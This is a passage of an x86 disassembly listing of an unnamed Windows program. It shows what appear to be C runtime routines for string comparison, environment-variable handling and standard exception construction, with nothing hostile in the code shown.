		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41FA12:				; CODE XREF: sub_41F845+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41FAAE
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421064
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FAAE
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41FAAE
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41FA7D:				; CODE XREF: sub_41F845+224j
		cmp	edi, ebx
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421008	; CompareStringW
		jmp	short loc_41FAB0
; ---------------------------------------------------------------------------


loc_41FAAE:				; CODE XREF: sub_41F845+63j
					; sub_41F845+C6j ...
		xor	eax, eax


loc_41FAB0:				; CODE XREF: sub_41F845+BFj
					; sub_41F845+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAC2	proc near		; CODE XREF: sub_41F7D7+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41FB26
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41FD08
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41FB26
		cmp	[ebp+arg_0], esi
		jz	short loc_41FB26
		mov	eax, dword_4694BC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4694C0
		jnz	short loc_41FB0C
		push	eax
		call	sub_41FCA1
		pop	ecx
		mov	dword_4694BC, eax


loc_41FB0C:				; CODE XREF: sub_41FAC2+3Cj
		cmp	eax, edi
		jnz	short loc_41FB64
		cmp	[ebp+arg_4], edi
		jz	short loc_41FB2E
		cmp	dword_4694C4, edi
		jz	short loc_41FB2E
		call	sub_41F7D7
		test	eax, eax
		jz	short loc_41FB64


loc_41FB26:				; CODE XREF: sub_41FAC2+Dj
					; sub_41FAC2+22j ...
		or	eax, 0FFFFFFFFh


loc_41FB29:				; CODE XREF: sub_41FAC2+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB2E:				; CODE XREF: sub_41FAC2+51j
					; sub_41FAC2+59j
		cmp	ebx, edi
		jnz	loc_41FC42
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	dword_4694BC, eax
		jz	short loc_41FB26
		mov	[eax], edi
		cmp	dword_4694C4, edi
		jnz	short loc_41FB64
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	dword_4694C4, eax
		jz	short loc_41FB26
		mov	[eax], edi


loc_41FB64:				; CODE XREF: sub_41FAC2+4Cj
					; sub_41FAC2+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4694BC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41FC49
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41FBC4
		cmp	dword ptr [edi], 0
		jz	short loc_41FBC4
		test	ebx, ebx
		jz	short loc_41FBBC
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415E3D
		pop	ecx


loc_41FB96:				; CODE XREF: sub_41FAC2+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41FBA6
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41FB96
; ---------------------------------------------------------------------------


loc_41FBA6:				; CODE XREF: sub_41FAC2+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FBF6
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBBC:				; CODE XREF: sub_41FAC2+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41FBF6
; ---------------------------------------------------------------------------


loc_41FBC4:				; CODE XREF: sub_41FAC2+BDj
					; sub_41FAC2+C2j
		test	ebx, ebx
		jnz	short loc_41FC42
		test	esi, esi
		jge	short loc_41FBCE
		neg	esi


loc_41FBCE:				; CODE XREF: sub_41FAC2+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41FB26
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41FBF1:				; CODE XREF: sub_41FAC2+F8j
		mov	dword_4694BC, eax


loc_41FBF6:				; CODE XREF: sub_41FAC2+F6j
					; sub_41FAC2+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41FC42
		push	[ebp+arg_0]
		call	sub_415CF0
		inc	eax
		inc	eax
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41FC42
		push	[ebp+arg_0]
		push	esi
		call	sub_415C00
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_421004	; SetEnvironmentVariableA
		push	esi
		call	sub_415E3D
		pop	ecx


loc_41FC42:				; CODE XREF: sub_41FAC2+6Ej
					; sub_41FAC2+104j ...
		xor	eax, eax
		jmp	loc_41FB29
sub_41FAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC49	proc near		; CODE XREF: sub_41FAC2+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4694BC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FC84
		mov	edi, [esp+8+arg_4]


loc_41FC5B:				; CODE XREF: sub_41FC49+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FC7A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41FC94
		test	al, al
		jz	short loc_41FC94


loc_41FC7A:				; CODE XREF: sub_41FC49+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41FC5B


loc_41FC84:				; CODE XREF: sub_41FC49+Cj
		mov	eax, esi
		sub	eax, dword_4694BC
		sar	eax, 2
		neg	eax


loc_41FC91:				; CODE XREF: sub_41FC49+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FC94:				; CODE XREF: sub_41FC49+2Bj
					; sub_41FC49+2Fj
		mov	eax, esi
		sub	eax, dword_4694BC
		sar	eax, 2
		jmp	short loc_41FC91
sub_41FC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCA1	proc near		; CODE XREF: sub_41FAC2+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41FCB0
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41FCB0:				; CODE XREF: sub_41FCA1+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41FCC2


loc_41FCB8:				; CODE XREF: sub_41FCA1+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41FCB8


loc_41FCC2:				; CODE XREF: sub_41FCA1+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41FCE3
		push	9
		call	sub_417BEE
		pop	ecx


loc_41FCE3:				; CODE XREF: sub_41FCA1+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41FCE7:				; CODE XREF: sub_41FCA1+5Bj
		test	eax, eax
		jz	short loc_41FCFE
		push	eax
		add	ebx, 4
		call	sub_41FD7B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41FCE7
; ---------------------------------------------------------------------------


loc_41FCFE:				; CODE XREF: sub_41FCA1+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41FCA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD08	proc near		; CODE XREF: sub_41FAC2+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_46A8DC, 0
		jnz	short loc_41FD23
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417080
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD23:				; CODE XREF: sub_41FD08+Aj
		mov	ecx, [ebp+arg_0]


loc_41FD26:				; CODE XREF: sub_41FD08+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41FD69
		movzx	edx, al
		test	byte_46A9E1[edx], 4
		jz	short loc_41FD55
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41FD60
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41FD64
		jmp	short loc_41FD5D
; ---------------------------------------------------------------------------


loc_41FD55:				; CODE XREF: sub_41FD08+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41FD69


loc_41FD5D:				; CODE XREF: sub_41FD08+4Bj
		inc	ecx
		jmp	short loc_41FD26
; ---------------------------------------------------------------------------


loc_41FD60:				; CODE XREF: sub_41FD08+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD64:				; CODE XREF: sub_41FD08+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD69:				; CODE XREF: sub_41FD08+25j
					; sub_41FD08+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41FD08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD7B	proc near		; CODE XREF: sub_4099AA+21p
					; sub_41FCA1+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41FDA2
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FDA2
		push	esi
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: sub_41FD7B+7j
					; sub_41FD7B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41FD7B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FDB0	proc near		; CODE XREF: sub_404B1E+15p
					; sub_404B77+15p ...
		mov	eax, offset loc_4202A0
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_421F80
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C3C
		call	sub_420209
		pop	esi
sub_41FDB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE0A	proc near		; CODE XREF: sub_41FDB0+3Fp
					; sub_41FFDC+3Fp
		mov	eax, offset loc_4202B4
		call	sub_416458
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438FBC
		call	sub_42012E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FE0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6E	proc near		; DATA XREF: .nsp0:00421C40o
					; .nsp0:00421C60o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41FE7A
		mov	eax, offset dword_421258

locret_41FE7A:				; CODE XREF: sub_41FE6E+5j
		retn
sub_41FE6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE7B	proc near		; DATA XREF: .nsp0:00421C64o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FEF1
		lea	eax, [ebp+var_1C]
		push	offset dword_421FF0
		push	eax
		call	sub_420209
sub_41FE7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE98	proc near		; CODE XREF: .nsp0:0041FED8p
					; DATA XREF: .nsp0:00421FF4o
		mov	eax, offset loc_4202C8
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FE98	endp

; ---------------------------------------------------------------------------


loc_41FED5:				; DATA XREF: .nsp0:off_421C5Co
		push	esi
		mov	esi, ecx
		call	sub_41FE98
		test	byte ptr [esp+8], 1
		jz	short loc_41FEEB
		push	esi
		call	sub_416477
		pop	ecx


loc_41FEEB:				; CODE XREF: .nsp0:0041FEE2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41FEF1	proc near		; CODE XREF: sub_41FE7B+Ap
					; sub_41FFC4+7p ...
		mov	eax, offset loc_4202DC
		call	sub_416458
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42016B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FEF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF4E	proc near		; CODE XREF: sub_41FF8B+20p
					; DATA XREF: .nsp0:00421F84o
		mov	eax, offset loc_4202F0
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF8B	proc near		; DATA XREF: .nsp0:00421C44o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FFC4
		lea	eax, [ebp+var_1C]
		push	offset dword_421F80
		push	eax
		call	sub_420209


loc_41FFA8:				; DATA XREF: .nsp0:off_421C3Co
		push	esi
		mov	esi, ecx
		call	sub_41FF4E
		test	[esp+20h+var_18], 1
		jz	short loc_41FFBE
		push	esi
		call	sub_416477
		pop	ecx


loc_41FFBE:				; CODE XREF: sub_41FF8B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFC4	proc near		; CODE XREF: sub_41FF8B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C3C
		mov	eax, esi
		pop	esi
		retn	4
sub_41FFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFDC	proc near		; CODE XREF: sub_404BCE+13p
					; sub_404D92+Ep
		mov	eax, offset loc_420304
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_4220A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_420209
		pop	esi
sub_41FFDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420036	proc near		; CODE XREF: sub_420073+20p
					; DATA XREF: .nsp0:004220ACo
		mov	eax, offset loc_420318
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420073	proc near		; DATA XREF: .nsp0:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4200AC
		lea	eax, [ebp+var_1C]
		push	offset dword_4220A8
		push	eax
		call	sub_420209


loc_420090:				; DATA XREF: .nsp0:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_420036
		test	[esp+20h+var_18], 1
		jz	short loc_4200A6
		push	esi
		call	sub_416477
		pop	ecx


loc_4200A6:				; CODE XREF: sub_420073+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420073	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4200AC	proc near		; CODE XREF: sub_420073+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_4200AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200C4	proc near		; DATA XREF: .nsp0:0042300Co

; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES

		test	byte_46977C, 1
		jnz	short loc_4200D4
		or	byte_46977C, 1


loc_4200D4:				; CODE XREF: sub_4200C4+7j
		call	sub_4200EE
		test	byte_46AB18, 1
		jnz	short loc_4200E9
		or	byte_46AB18, 1


loc_4200E9:				; CODE XREF: sub_4200C4+1Cj
		jmp	loc_4200FA
sub_4200C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200EE	proc near		; CODE XREF: sub_4200C4:loc_4200D4p
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_4200EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4200C4


loc_4200FA:				; CODE XREF: sub_4200C4:loc_4200E9j
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4200C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420106	proc near		; CODE XREF: sub_40446E+5Ep
					; sub_405409+159p
		jmp	dword_4211D4
sub_420106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42010C	proc near		; CODE XREF: sub_4160C4+23p
					; sub_416368+13p
		jmp	dword_421154
sub_42010C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420112	proc near		; DATA XREF: .nsp0:off_421C94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4201B5
		test	[esp+4+arg_0], 1
		jz	short loc_420128
		push	esi
		call	sub_416477
		pop	ecx


loc_420128:				; CODE XREF: sub_420112+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420112	endp


; =============== S U B	R O U T	I N E =======================================



sub_42012E	proc near		; CODE XREF: sub_41FE0A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		push	dword ptr [edi]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42015D
		push	dword ptr [edi]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx


loc_42015D:				; CODE XREF: sub_42012E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42012E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42016B	proc near		; CODE XREF: sub_41FEF1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4201A8
		push	dword ptr [edi+4]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4201AE
		push	dword ptr [edi+4]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		jmp	short loc_4201AE
; ---------------------------------------------------------------------------


loc_4201A8:				; CODE XREF: sub_42016B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4201AE:				; CODE XREF: sub_42016B+2Ej
					; sub_42016B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42016B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B5	proc near		; CODE XREF: sub_41FE98+2Bp
					; sub_41FF4E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421C94
		jz	short locret_4201CA
		push	dword ptr [ecx+4]
		call	sub_416477
		pop	ecx

locret_4201CA:				; CODE XREF: sub_4201B5+Aj
		retn
sub_4201B5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4201D7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4201D7:				; CODE XREF: .nsp0:004201D0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4201D8	proc near		; CODE XREF: .nsp0:004201F0p
		mov	dword ptr [ecx], offset	off_421CB4
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4201EC
		push	ecx
		call	sub_415E3D
		pop	ecx

locret_4201EC:				; CODE XREF: sub_4201D8+Bj
		retn
sub_4201D8	endp

; ---------------------------------------------------------------------------


loc_4201ED:				; DATA XREF: .nsp0:off_421CB4o
		push	esi
		mov	esi, ecx
		call	sub_4201D8
		test	byte ptr [esp+8], 1
		jz	short loc_420203
		push	esi
		call	sub_416477
		pop	ecx


loc_420203:				; CODE XREF: .nsp0:004201FAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420209	proc near		; CODE XREF: sub_41FDB0+54p
					; sub_41FE7B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_421184	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_420209	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420244	proc near		; DATA XREF: .nsp0:00421E84o

; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404B16
sub_420244	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420262
		mov	ecx, [ebp+8]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

locret_420262:				; CODE XREF: .nsp0:00420254j
		retn
; ---------------------------------------------------------------------------


loc_420263:				; DATA XREF: sub_4046AAo
		mov	eax, offset dword_421E58
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420278:				; DATA XREF: .nsp0:00421EB4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420280:				; DATA XREF: sub_40484Co
		mov	eax, offset dword_421E88
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4


loc_42028C:				; DATA XREF: sub_404DF9o
		mov	eax, offset dword_421EB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_4202A0:				; DATA XREF: sub_41FDB0o
		mov	eax, offset dword_421F90
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202B4:				; DATA XREF: sub_41FE0Ao
		mov	eax, offset dword_421FB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202C8:				; DATA XREF: sub_41FE98o
		mov	eax, offset dword_422000
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202DC:				; DATA XREF: sub_41FEF1o
		mov	eax, offset dword_422028
		jmp	loc_416113
; ---------------------------------------------------------------------------
